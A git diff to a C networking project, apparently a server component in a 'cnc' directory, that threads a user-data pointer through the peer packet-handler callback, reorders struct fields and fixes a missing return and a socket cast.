diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 354e7a3..3076b5b 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -4,11 +4,10 @@ #include "cnc.h" size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t), - [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) }; -void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id) { +void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { printf("got %d packet id!\n", id); } @@ -24,6 +23,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { /* add sock to pollList */ laikaP_addSock(&cnc->pList, &cnc->sock); + + return cnc; } void laikaC_freeCNC(struct sLaika_cnc *cnc) { @@ -54,8 +55,9 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { if (evnts[i].sock == &cnc->sock) { /* event on listener? */ peer = laikaS_newPeer( laikaC_pktHandler, + laikaC_pktSizeTbl, &cnc->pList, - laikaC_pktSizeTbl + (void*)cnc ); /* setup and accept new peer */ @@ -63,7 +65,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { laikaS_setNonBlock(&peer->sock); /* add to our pollList */ - laikaP_addSock(&cnc->pList, (struct sLaika_sock*)peer); + laikaP_addSock(&cnc->pList, &peer->sock); continue; } diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 8297a8a..a5eb981 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -9,14 +9,15 @@ struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ struct sLaika_pollList *pList; /* pollList we're active in */ - void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id); + void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData); + void *uData; /* data to be passed to pktHandler */ + size_t *pktSizeTable; /* const table to pull pkt size data from */ size_t pktSize; /* current pkt size */ LAIKAPKT_ID pktID; /* current pkt ID */ - size_t *pktSizeTable; /* const table to pull pkt size data from */ bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */ }; -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id), size_t *pktSizeTable, struct sLaika_pollList *pList); +struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); bool laikaS_handlePeerIn(struct sLaika_peer *peer); diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 133027e..c8b40bf 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -2,13 +2,14 @@ #include "lmem.h" #include "lpeer.h" -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id), size_t *pktSizeTable, struct sLaika_pollList *pList) { +struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) { struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); laikaS_initSocket(&peer->sock); peer->pktHandler = pktHandler; - peer->pList = pList; peer->pktSizeTable = pktSizeTable; + peer->pList = pList; + peer->uData = uData; peer->pktSize = 0; peer->pktID = LAIKAPKT_MAXNONE; peer->setPollOut = false; @@ -45,7 +46,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* have we received the full packet? */ if (peer->pktSize == peer->sock.inCount) { - peer->pktHandler(peer, peer->pktID); /* dispatch to packet handler */ + peer->pktHandler(peer, peer->pktID, peer->uData); /* dispatch to packet handler */ /* reset */ peer->sock.inCount = 0;